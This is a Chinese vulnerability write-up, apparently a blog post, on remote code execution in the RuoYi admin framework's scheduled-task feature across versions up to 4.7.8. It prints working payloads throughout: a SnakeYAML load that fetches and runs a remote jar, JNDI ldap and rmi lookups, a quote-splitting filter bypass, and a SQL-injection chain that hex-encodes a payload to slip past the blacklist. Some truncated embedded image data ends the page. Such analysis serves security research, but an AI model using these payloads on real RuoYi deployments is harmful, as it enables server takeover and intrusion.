在调用过程中，会发现在`com.ruoyi.quartz.util.JobInvokeUtil`类中存在两个名为`invokeMethod`的方法，并前后各调用了一次
![image-20240305202252424](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-cd167c854b5c730081aa2e629f45c7a79c3dadc7.png)
在第一个`invokeMethod`方法中对调用目标字符串的类型进行判断，判断是Bean还是Class。然后调用第二个`invokeMethod`方法
- bean就通过getBean()直接获取bean的实例
- 类名就通过反射获取类的实例
```java
if (!isValidClassName(beanName)){
&nbsp; &nbsp;Object bean = SpringUtils.getBean(beanName);
&nbsp; &nbsp;invokeMethod(bean, methodName, methodParams);
}
else
{
&nbsp; &nbsp;Object bean = Class.forName(beanName).newInstance();
&nbsp; &nbsp;invokeMethod(bean, methodName, methodParams);
}
```
第二个`invokeMethod`这个方法通过反射来加载测试类
```java
if (StringUtils.isNotNull(methodParams) &amp;&amp; methodParams.size() &gt; 0){
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
```
这大概就是定时任务加载类的逻辑
漏洞成因
----
接着我们新增一个定时任务，看看在创建的过程中对调用目标字符串做了哪些处理
抓包可以看到直接调用了`/monitor/job/add`这个接口
![image-20240305203342583](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-76db78a1473a0314143d0a813963f175660864bf.png)
可以看到就只是判断了一下，目标字符串是否包含`rmi://`，这就导致导致攻击者可以调用任意类、方法及参数触发反射执行命令。
![image-20240305203753016](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-85aa69d0421513243f55c2fba3357cfd01beb3b8.png)
![image-20240305203844623](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-fc599b4dbbd09dad269e2d6a95c2212f0cf3dc0f.png)
由于反射时所需要的：类、方法、参数都是我们可控的，所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的，该类只需要满足如下几点要求即可：
- 具有public类型的无参构造方法
- 自身具有public类型且可以执行命令的方法
4.6.2
-----
因为目前对**调用目标字符串**限制不多，so直接拿网上公开的poc打吧！
- 使用Yaml.load()来打SnakeYAML反序列化
- JNDI注入
### SnakeYAML反序列化
探测SnakeYAMLpoc：
```php
String poc = "{!!java.net.URL [\"http://5dsff0.dnslog.cn/\"]: 1}";
```
利用SPI机制-基于ScriptEngineManager利用链来执行命令，直接使用这个师傅写好的脚本：&lt;https://github.com/artsploit/yaml-payload&gt;
1）把这块修改成要执行的命令
![image-20240305230802764](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-aaa947e4c6ed99a6133eb87abcf205cf05f2fd75.png)
2）把项目生成jar包
```php
javac src/artsploit/AwesomeScriptEngineFactory.java　　　　//编译java文件
jar -cvf yaml-payload.jar -C src/ .　　　　　　　　　　　　　//打包成jar包
```
3）在yaml-payload.jar根目录下起一个web服务
```php
python -m http.server 9999
```
4）在计划任务添加payload，执行
```php
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]')
```
![image-20240305232500918](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-101523cad0c31c5786433aa43c0359721ef8f30d.png)
### JNDI注入
使用yakit起一个返连服务
![image-20240305234800803](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-802a0a0d3800ab3af3bd987bae213ebd437c17a9.png)
poc：
```php
javax.naming.InitialContext.lookup('ldap://127.0.0.1:8085/calc')
```
nc监听端口
![image-20240305234715061](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a8120435c3ad4e7e8cf3b8d7d91d83b0dfe860bc.png)
![image-20240305234736910](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-be534fe80b3221bf79c520e2dd616c4af9a56ab6.png)
&amp;lt; 4.6.2
----------
### rmi
上边的分析是拿4.6.2版本分析的，在创建定时任务时会判断目标字符串中有没有rmi关键字。后边有拐回来看一下，发现在4.6.2版本以下，在创建定时任务时是没有任何过滤的。
![image-20240306182957873](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5e1aa793587221c70971115df956c1da3ceb538b.png)
所以在补充一个rmi的poc：
```php
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
```
![image-20240306183633480](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8b00327280fa2031d36f20b578f1447ccad18e00.png)
![image-20240306183659672](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-87939593ec5852516cf7b29356a42b528ccd5311.png)
&amp;lt;4.7.0
---------
`4.6.2~4.7.1`新增黑名单限制调用字符串
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用
![image-20240306185654502](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-751b82a6561244d3b75e4cc6c9f82f71eed005f3.png)
![image-20240306185736206](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-cee68ee4c49d21d2f9274c60f52c5943e9506002.png)
来个小插曲，之前又看到一个文章，阅读量还不少类，师傅给出的poc是利用范围是**&amp;lt;4.7.2**
![image-20240306191000306](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5eab99526e1cec04c0d685a2c4f849001b74445d.png)
后边发现不止这一篇，其他就不在举例了。
![image-20240306193040061](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-61674861666d37add1a44ac63bd037b6022f6d5e.png)
但是我去翻了diff，发现在4.7.1中的黑名单已经过滤了这些poc。
![image-20240306191126087](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-720b5b08913d2cccfb6203898893125677b18b51.png)
### 单引号绕过
在4.7.0的版本以下，仅仅只是屏蔽了ldap、http(s)、ldap。这里可以结合若依对将参数中的所有单引号替换为空来绕过
poc、例如：
```php
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
```
分析：
创建任务时`r'm'i`可以绕过对`rmi`的过滤
![image-20240306233303535](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a510511e8ce0a1aec0fa8e43eb93836c178aa745.png)
之前分析的定时任务运行的原理，会在`com.ruoyi.quartz.util.JobInvokeUtil`类中第一个`invokeMethod`方法调用`getMethodParams`方法来获取参数
![image-20240306233449771](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3b044996b81e181d404489e5a386019641ddf611.png)
跟进之后发现会把参数中的`'`替换为空
![image-20240306233620830](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-15b7211a8f10943635d02864408d2b98b494ffeb.png)
打个断点调试一下
![image-20240306233813294](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5c6c3253c6b0eb946d856d72c1ada5da0fcc7192.png)
&amp;lt;4.7.2
---------
在这个版本下可以看到有可以看到有ldaps、配置文件rce等方法bypass，网上挺多文章的就不分析了
### ldaps
### 配置文件rce
4.7.3
-----
在4.7.3的版本下，又增加了白名单，只能调用com.ruoyi包下的类！并且把之前所有的路堵死了
![image-20240306213248788](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-31e84d0e2410125611ea3ff50912774bbc2d5fb7.png)
![image-20240306213334189](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3a98a9615009057816fceeedae6bab1e8c1475f9.png)
4.7.8（最新版）
----------
依旧是没办法绕过黑白名单的限制。之前我们大概分析了一下定时任务的创建。对**调用目标字符串**过滤是在定时任务创建时进行的
审计之后可以看到，对目标字符串的过滤只发生在增加、修改计划任务时
![image-20240306214236876](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-1b3a96cec567323c973654b5c2105c3f0d6b78a8.png)
创建后的定时任务信息存储在**sys\_job**表中
![image-20240306214001345](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-420861f7e4970dce92490b787be792dd09c39a3b.png)
结合4.7.5 版本下的sql注入漏洞，直接修改表中的数据
参考：[https://gitee.com/y\_project/RuoYi/issues/I65V2B](https://gitee.com/y_project/RuoYi/issues/I65V2B)
在`com.ruoyi.generator.controller.GenController#create`
![image-20240306221326697](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3ad6683a45b3fed6b9c63984918121a1a1fa66ec.png)
这块直接调用了`genTableService.createTable()`,咱直接跟进去看看
![image-20240306221433954](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-14a114543bd4fb72440c37a4e40b2a76e30d686f.png)
Mapper语句：
![image-20240306221510785](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-279867d0cbdd8be4f2ecaefc7fa85061b1e995c2.png)
接下来创建一个定时任务调用这个类，直接从sys\_job表中把某一个定时任务调用目标字符串(invoke\_target字段)改了
先谈个dnslog试试
```php
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn')' WHERE job_id = 1;')
```
但会触发黑名单
![image-20240306222714229](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3572483765e5676a68ded83d84afa0b2673e496a.png)
由于是执行sql语句，直接将value转为16进制即可
![image-20240306222803488](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4e3b26535f30ef0508858f3d4defcbd08a7966eb.png)
```php
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;')
```
可以成功创建
![image-20240306222855973](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-aa602bfe6b5639d2e2985db70bc2601c74efe230.png)
运行后任务1的**调用目标字符串**也被成功修改
![image-20240306223045794](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-17c83b11a879388d49f1df65207326c010b5135e.png)
紧接着运行任务1
![image-20240306223112608](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3785c643538709c65f0fbc9754dc52fe1ee40692.png)
接下来弹个计算机
yakit开个反连，配置一下
![image-20240306223503680](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3151287bc512b240af53000b5d75166869e306b6.png)
执行上边的步骤修改任务1，在运行任务1
![image-20240306223547419](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-456a3bcf525c08f271624c3726716d695396ba58.png)
![image-20240306223447821](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-04329d5c8b8b15b42c709649335789a0f625a56c.png)
总结
--
碰上前言中说到的事确实感到挺无奈却又无可奈何。也有可能是我能力不够分析有误，如果有问题希望各位师傅及时指正！
参考
--
&lt;https://xz.aliyun.com/t/10687&gt;
&lt;https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90&gt;
[https://www.cnblogs.com/pursue-security/p/17658404.html#\_label1\_3](https://www.cnblogs.com/pursue-security/p/17658404.html#_label1_3)
&lt;https://xz.aliyun.com/t/10957&gt;
&lt;https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC&gt;</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h2 blockindex=0>前言</h2>
<p blockindex=1>关于若依漏洞或者是审计的文章网上挺多的，本来就只是想写一下最新版4.7.8的RCE。因为之前没接触过若依就打算看看定时任务实现的原理以及历史的漏洞，但是在查阅资料的时候，发现了<strong>一些</strong>文章给的poc有问题，比如作者写的是&lt;4.7.2时，给的是<code>org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://ip:端口/refObj')</code>，大概作者的目的是想说明可以通过若依对字符串的处理的一些问题(参数中的<code>'</code>会替换为空)绕过对<code>rmi</code>的过滤，但是却没有考虑到<code>org.springframework.jndi</code>在4.7.1版本中已经加入了黑名单。作者也只是给出了poc，并没有复现的过程！</p>
<h2 blockindex=2>计划任务实现原理</h2>
<p blockindex=3>从<a href=https://doc.ruoyi.vip/ruoyi/document/htsc.html#%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1>官方文档</a>可以看出可以通过两种方法调用目标类：</p>
<ul blockindex=4>
<li>Bean调用示例：ryTask.ryParams('ry')</li>
<li>Class类调用示例：com.ruoyi.quartz.task.RyTask.ryParams('ry')</li>
</ul>
<p blockindex=5>接下来咱调试一下，看看具体是如何实现的这个功能的</p>
<p blockindex=6>首先直接在测试类下个断点，看看调用</p>
<p blockindex=7><img src="data:image/png;base64,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
<p blockindex=8>通过系统默认的任务1来执行这个测试类</p>
<p blockindex=9><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2gAAAEuCAYAAAD7iDFlAAAgAElEQVR4nOzdf3Db933n+Sdd0wplSc5ZNgDKkrt2Ujs5EwcDJzNR1fp8YTUUfDhz3TS9xK1MbcQRuSNzd+shle2x1Q9ueJmKHHd2Fc2KGsoRrNrJJKfm6GINcVh6Erc6NZQGCAo6Sd3UGluyCKCWt6ZkMTJ95v3x/QL8AviCAH+JX8mvx4wnIfjFFx98vl9Q3xfen8/nWzU9PT2NiIiIiIiILLtblrsBIiIiIiIiYlBAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXGIW5e7ASI3u8nJX/HB1atMTU0xPT293M0RERERWRZVVVVUV1dz+8qV1NR8armb41gKaCJLaGLiMtc+/JDVq1axYsVtVFVVLXeTRERERJbF9PQ01659yOUrV5iammLNmtXL3SRHqprWV/oiS2Jy8ldc+eAD7lp7p4KZiIiIiGl6epp3L73HqttvVyXNhuagiSyRD65eZfWqVQpnIiIiIhZVVVWsXrWKD65eXe6mOJICmsgSmZqaYsWK25a7GSIiIiKOs2LFbUxNTS13MxxJAU1kiUxPT6t6JiIiImKjqqpKi6eVoIAmIiIiIiLiEApoIiIiIiIiDqGAJiIiIiIi4hAKaCI3kVS0h7ZdA8TtfpkeYn/3EKnr3SgRERERqZgCmsiNIDFA2672gv96iKatG6WIn0lB4BH8dvtInWc8HaE/uhgRLUH/rnb6E/a/TUV7Sv6ukuffGFJEu9vZvyj9KSIiImK4dbkbIJ8A6SH2d5+lfk8XQfdyN8Z5UtEe9kXKXOS7Q+w71IJntm0SEQbTHppaffa/97XQGminPxIhHmyxCXEJ+ktV37Jt2NNY0IYE/bsi3GtzbONHeohe72OeHmJ/d4TxQAuHd/gwQlQPg+myzyxSG+pib7BUj5v7JURrIPtYgv5dZ6g/ZNe3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
<p blockindex=10><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABgoAAADPCAYAAAAkoor5AAAgAElEQVR4nOzde3xUZZro+x/XiFxEMKsqIaICNi1TuYCgMs6nRUIHE9MNc/bQZ9yQnZ6GTphms9sONMFm5OZGiEDG3m5mmwhO5yRpz9GZzwEHE5ImiH22jQqGXKrTTQNeEJKqFa6CYLieP9aqqlWrVl1SSUhInu8/UJV1q1VVq971Pu/7PP1u3bp1CyGEEEIIIYQQQgghhBBC9EkDz19q6+5jEEIIIYQQQgghhBBCCCFEN+nf3QcghBBCCCGEEEIIIYQQQojuI4ECIYQQQgghhBBCCCGEEKIPk0CBEEIIIYQQQgghhBBCCNGHSaBACCGEEEIIIYQQQgghhOjDJFAghBBCCCGEEEIIIYQQQvRhEigQQgghhBBCCCGEEEIIIfowCRQIIYQQQgghhBBCCCGEEH2YBAqEEEIIIYQQQgghhBBCiD5MAgVCCCGEEEIIIYQQQgghRB82sCMrnzndyvt7qzh+/Bg3b94Mu7zdHsfffG8GD098pCO7FUIIIYQQQgghhBBCCCFEJ+l37uK3t6Jd+Y3/9T+Ii4vj8ccfZ8CAAWGXP3LkCPv37+fHC3OJix8T7W6FEEIIIYQQQgghhBBCCNFJop5RcPTIn7lw4QJ5eXkRBQkAxo0bR3NzM39uapRAgRChqDUUbq0lZdkvmal098EIIYQQQgghhBBCCCF6s6hrFLS1fcuwYcMiDhJ4DB8+nG+vfBvtbqPmLF/OyvLGDmxBZd/WKLfhLGFlfgnOINssrFE7cFyiW99bvwMpYWX+Zva1++3U95+/nJVba1ABtbEWVZmCQ4IEojuoNRRG9Vk2iPr7YD4O37Uz4u960GtuH6bWUNjRa1xP4CzxXic7bZPl7fsdVms2B/18OcuXR3F82m9AmXxgRRdSazYHXj+juNarNZs7r91qusYH10hZqO9VxNsJtb5+HpwlHW8Pik7SCfdJag2F+dFfX9WazZbXdO/vhlpDYTuu+ZbfQ0Gn/w4GayvI91sIIdqnk+69zL9/He/DE12pQzUK7hyN1DWAIyvR+s/OElaW+j6kStoK8lL9e2jVmhKqVRtpwbYRgrO+EZKycQT8R